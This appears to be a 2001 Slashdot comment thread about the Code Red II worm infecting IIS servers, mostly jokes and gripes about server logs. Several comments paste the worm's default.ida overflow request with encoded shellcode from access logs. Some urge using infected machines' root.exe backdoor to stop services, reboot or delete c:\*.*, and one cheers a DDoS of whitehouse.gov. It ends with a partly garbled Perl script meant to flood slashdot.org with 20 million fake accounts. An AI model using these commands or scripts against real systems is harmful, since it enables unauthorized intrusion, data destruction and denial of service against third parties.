hmm... I never saw anything along those lines in my TOS. I didn't sign it anyway. The installation oafs were dumb enough to let it slide.
But if you are running OFFICE2000 with FRONTPAGE2000 you are vunerable, too.
Face it, people are stupid, and the internet is the place where they all meet.
Don't know about you, but I'm sick of looking at this crud in my logs. Unfortunately, trying to redirect, rewrite or otherwise filter the request, along with the "vti" hack from FrontPage, just produces either the same log entry with a 302 in place of a 404, or a double entry with the request and the redirect.
Makes me want a stripped down filter box to grab those requests and not log them. How many terabytes of wasted disk space is going to be devoted to M$ hacks in rotating logs??
You will outgrow your usefulness - actual Slashdot footer quote
Where are the Code red viruss's originating from?
It was a university server, so I assume my automatic net send to their domain got some attention.
Can't someone give these sequels better names. Sequel naming is a serious issue. Look what's happened to Star Wars.
How about :
Code Red II : Return of the Virus
Code Red III : The Press gets excited
Code Red IV : The Press gets bored
Code Red V : Y2K redux
leaves a wider "back door" on infected machines, making them more vulnerable to future hacking.
I have no idea how you can make a wider back door than CRII. With CRII, the back door has full administrative rights and you can execute arbitrary commands. The machine is FULLY compromised. Plus, due to the nature of the worm each compromised machine broadcasts its IP address to nearby machines. The only way to get a wider back door than CRII would be to put the back door on EVERY PORT.
Enigma
According to one of their help pages, they're going to start kicking people off of their network who are infected on Tuesday. Now whether that was last tuesday or this coming tuesday wasn't clear, but at least that will help cut some of the traffic down. Avoids the whole blocking/filtering port 80 issue also (not that you're supposed to be running a server anyway...). Now...how are they supposed to get the patches, tho...?
I have heard the affected machines have a r00t kit installed.
If so, I wonder if some white hats could write a script that:
1)detects an attack;
2)goes into the Windows machine;
3)installs the MS patch;
4)reboots the Windows machine.
That, altough technically illegal, would help clean up the problem, no?
Treatment, not tyranny. End the drug war and free our American POWs.
See my user info for links.
Is what happens when you code your OS in C++. Sorry all you C++ dudes, but you know it's true.
It's nota my planet, monkey-boy - Dr Lizardo.
I think this is really fun. Of course I am not an ISP or anything. Anyway, I am looking forward to a nice DDOS of whitehouse.gov this time around. That'd be fun wouldn't it? This is some nice distributed computing :) Has there ever been a virus so widespread as Code Red X ? Is this going to be the future of virus writing? Imagine something similar being written for routers? By the way, is it possible to write a virus that can't be decoded by the spoilers over at Eeye and all you old programmers out there? Would it be possible for someone to put one together that noone know what it was going to do until it did it?
How perfectly goddamn delightful it all is, to be sure. - Charles Crumb
Fight virus with virus
IIS doesn't even run on 9x, ME, or other spawn of 3.x
Actually you can run a mini version of IIS that could be suspectible to code red on a 95 or 98 machine. The personal webserver from MS is advertised as only working on NT but it'll run on 95 or 98. I haven't tested it 95 though.
I've gotten default.ida hits from PSW so I know its suspectible to at least one kind of code red.
Check out the amazing prequels!! CodeRed 0, CodeRed -1, and then BetaCode, in all theat-- err, all MS servers, starting next week! Don't miss the excitement!!
-- B.
This sig does in fact not have the property it claims not to have.
A major haxor group is rumoured to be close to releasing a new product: Code RedHat
The group spokesit 3v1l d00mm said "Yeah well, why should clueless Windoh!s lusers have all the fun? There's a lot of clueless Linux lusers these days who just install RedHat out of box, and don't add the patches. You can root these machines in less than a minute, but where's the fun in that? Besides, with Linux and a good connection, even 386 boxenthings with 8 meg ram are deadly! We expect that Code RedHat will show the world how much better Linux is than Microsludge. If you thought hundreds of thousands of copies of Code Red I/II slowed the net, watch what even a couple thousand copies of Code RedHat can do!"
I asked if they planned to distribute through store channels, Internet, or corporate clients, he grinned and said "Distribution will not be a problem."
When asked if they plan to make it Open Source, 3v1l d00mm said "Hey, we'd like to but we're still talking to our lawyers, and what with the IPO coming up, project deadline and all that, we'll have to see."
One line blog. I hear that they're called Twitters now.
Doens't this seem like a good time for all the owners of websites that pay for bandwidth usage on their sites, to join forces and take out a class action suit against Microsoft for allowing for such an easy exploited backdoor into their "Enterprise" class web server or dumpster and having their servers then spam the internet looking for other servers with their insidious backdoors.
Time Microsoft paid for the crap that they foist onto Corporates and Individuals alike.
Might finally get some real financial support for the open source movement via payouts from this sort of thing to people using alternative web servers, etc.
Does anyone know if this kind of backdoor might exist in Microsoft's "Enterprise" Mail Server Exchange. Must be somewhere with all the new "features" they've added.
When shit hits the fan get some of these https://youtu.be/pY-GncsZ-UE
Obvious! Put a story about them on slashdot, with a link to their server. They'll be shut down in no time!
The Independent: Reverend Spooner Arrested in Friar Tuck Incident - ISIHAC, Historical Headlines
the account that you access web pages through on an iis server doesn't have the rights to do anything very drastic, such as stopping the service or downloading and installing the patch. so this being said, there is only one thing that will stop the worm, a world wide power outage that outlasts all the battery back ups and generators, or short of that, diligent work my everyone who's getting attacked to make sure that some educated person knows about every infected box. this being said it's prob. safe to assume that new victims roll out of computer manufactures on a daily basis with iis enabled by default on 2k pro and server machines. which means that even if code red II drops away, there will always be an available audience for code red III,IV, or V.
that's what i think if you don't like it, attack my ideas not me
I thought @home was not so wrong for blocking incoming packets to port 80, but guess what?
I had an attack about 30 seconds after I turned IIS back on (upon reading some of the above and getting curious).
Also, for at least a week and ½, I've been getting hit with ARP-RARP packets at the rate of 10 or more per second from what I believe to be a router in Muskegon, with targets of all the still-infected machines.It's obvious that AT&T has not kept up its own side of the TOS - and curious that when I signed up for cable modem last year, they wouldn't support Win2k (cough, cough - I have to run it - I'm a MCSE with too many clients running it to get rusty), and the reason for No Servers was to avoid some idiot issuing DHCP to the other customers.
BTW, I'm used to getting diddle from large corporations in the way of customer service - I just hope I can get them to fix my lawn before the snow flies. Some brain-dead cable rat drove his boom truck over my lawn to check a pole, and the lawn is about a foot above water level. I complained a montha and a half ago and still no response!
(If anyone on /. would care to identify the "strain" of the worm that just tried me, I'd be happy to squirt the log text in the thread - with my IP removed to protect the innocent...)
db
Cig:
ôô
God, I'm still on version 1 of code red. Does anybody know where I can download the latest version? Is there a mail list I can get on so I know I have the lasted version on my IIS server?
Try Microsoft or Hotmail. I think they have the latest version of it running on most of their systems now.
--- Will in Seattle - What are you doing to fight the War?
Taco wanted to know what to do with his web logs, what we've been doing is punching the following URL into our browsers whenever we see one of those stupid requests... http://_IP_OF_SERVER_/scripts/root.exe?/c+net%20st op%20w3svc
That will shut down IIS on the machine... Should get their attention and hopefully modevate them to fix their shit...
it's obvious the patches aren't working....so, can we round up all the useless MCSE's and string them up this time?
New Code Red Worm patches here
since people are whining about not seeing CR3 show up yet, i just had it hit about 30 minutes ago, here's the log:
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 1141 "-" "-"
!IP goes here! - - [10/Aug/2001:13:44:15 -0400] "GET
here is the story.
Are we going to be on Code Red version 99.1 before some of these dumb ass sysadmins take a little time and just patch their POS IIS servers? How many times do you need to be kicked in the crotch before you learn to get out of the way???
It is pitch dark. You are likely to be eaten by a grue.
It's been done. It's been on slashdot.
3 21 1&mode=thread
http://slashdot.org/article.pl?sid=01/08/04/141
Look for "codeRedNeck"
I've posted a few times so far and it's always at score=0, I'm wondering why since Shibut != AC ... DO I have to add some $%^&**(^%#@ to get moderated to a measly 1-2?
I'm still wondering what I should do with the hundreds of IPs in my desktop's apache log trying hopelessly to overflow my buffer.
AB explains how to install GIMPS here. I'm not a proficient enough nt scripter to do this to comprimised machines, but I have a nice big list of ip's I'd love to install GIMPS on!
Have you ever read the GPL?
It specifically disclaims any and all liabilities and warranties.
If the Microsoft EULA disclaiming responsibility is invalid, isn't the GPLs? If you argue that GPLed software is free, so consumer protection laws don't apply, then what if you paid Red Hat $15 for their distribution?
Regardless of whether you paid them for the packaging or the 1-800 support number, you bought something from 'em, so shouldn't they be liable if your linux box ruins your MySQL database?
My apache server is sitting here in San Diego getting about one hit every 5 minutes from CR II.
/root]# cd /var/log/httpd/
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 333
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
Code Red one looked like this:
[root@dt000n00
[root@dt000n00 httpd]# more access_log
195.117.17.130 - - [19/Jul/2001:19:24:15 -0700] "GET
Code Red IIs look like this:
[root@dt000n00 httpd]# grep "XXXXXXXX" access_log |more
204.210.27.38 - - [04/Aug/2001:09:21:23 -0700] "GET
[root@dt000n00 httpd]# grep "NNNNNNNNN" access_log |wc -l
121
[root@dt000n00 httpd]# grep "XXXXXXXXX" access_log |wc -l
1616
That's it. 10 days, and less than 2000 hits. BIG WHOOP. Yawn. Some idiots IIS server is down? Who cares? This is *not* the end of the internet.
The first time I went to the site, i was bombarded by a huge flash advertisement for absolute vodka, the second time nothing..
Why wont someone release a worm that affects web advertisements in the middle of an article?
I'm not even sure how to spell regexe, but this is what I've attempted to do:
I think you need to reboot the machine first, in order to remove file protections, which would otherwise prevent the disk from being formatted. And for some stoopid reason, GET /script/root.exe?+%2fc+iisreset+reboot doesn't seem to work...
Ask me about my vow of silence!
Microsoft is releasing Code Red IV a month earlier so the various virus companies don't quash their abilitiy to innovate.
This sounds a lot like the derivitives of the ILoveYou Outlook Virus. Someone does the initial exploit, and other people modify the code to be more destructive, carry a different payload, whatever. Chances are we'll see more variations on this theme in the near future.
The sad part is that it appears that the vast majority of infected systems are owned by folks who don't even know they have IIS installed on their machine. It was either part of a default load, or they clicked "YES" at some point in an installation without really understanding what they were saying YES to.
Personally, I think we need to have a lot more coverage of this than we're getting. A lot more instances of "If you are running a Windows system, please install all the latest patches today!" on the news, web, etc. Though to be fair, there are a lot of *IX systems unpatched out there too...
I know.
Wishful thinking...
Never attribute to malice what can as easily be the result of incompetence...
So, Three Code Reds and a SirCam later, the question just begs to be asked:
Who's calling Whose code "Potentially Viral"?
So there I was, juggling apples and small animals, when I accidentally bit into the wrong one...
Or maybe
http://IpOfHackedMachine/scripts/root.exe?/c+DEL+c :\*.*
I can see it now, a bearded discourse on the differences between CodeRed MCMLXXXIII and MCMLXXXIV...
The clearance system sounds logical. It is not. It is completely arbitrary. -- John Bolton
inetinfo.exe
But you didn't hear that from me......
Now this is a sequal worthy of the name The Clone Wars.
I can't wait until Code Red 76. I heard this version will wash your car, take your pet for a walk, reformat any version of Linux and install Windows over it, all in it's first 30 nanoseconds of birth. Personally I look forward to it. God knows it was created by the Borg known as Microsoft. ^_^
The Tweak Files: Sanity is for t
"Hardly used" will not fetch you a better price for your brain.
securityfocus (a.k.a bugtraq) is collecting infected IP addresses with timestamps. send them to aris-report@securityfocus.com. i have been keeping track of the hits to my system at debussy.ucsc.edu.
According to Symantec's page on CR2:
Also Known As: CodeRed.v3, CodeRed.C, CodeRed III, W32.Bady.C
we should rename, this is boring, like maybe code-reder, or code-evenreder, or code-redmund
It's illegal to do anything to another person's computer without their permission, even if your intentions are benign. You get caught, you go to jail.
I won't complain if someone else does it, though.
Blah. STFU with the whinging before j00 are modded down forever. If you don't like the way Slashdot works, run this script ;)...
#!/usr/bin/perl
use IO::Socket;
srand(time^$$); # Set $c to uid count:
$c = 20_000_000; # create 20,000,000 new accounts.
sub junk
{ #create $_ many random letters.
$s="";
for($j=0;$j'tcp',
PeerAddr=>"slashdot.org", PeerPort=>80);
$sock->autoflush(1);
print $sock "GET /users.pl?op=newuser&newuser=$n&email=$e
HTTP/1.0\r\n";
print $sock "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5;
Windows 98)\r\n";
print $sock "Referer:
http://slashdot.org/users.pl\r\n \r\n";
close($sock);
print "Created $n ($e)\n";
}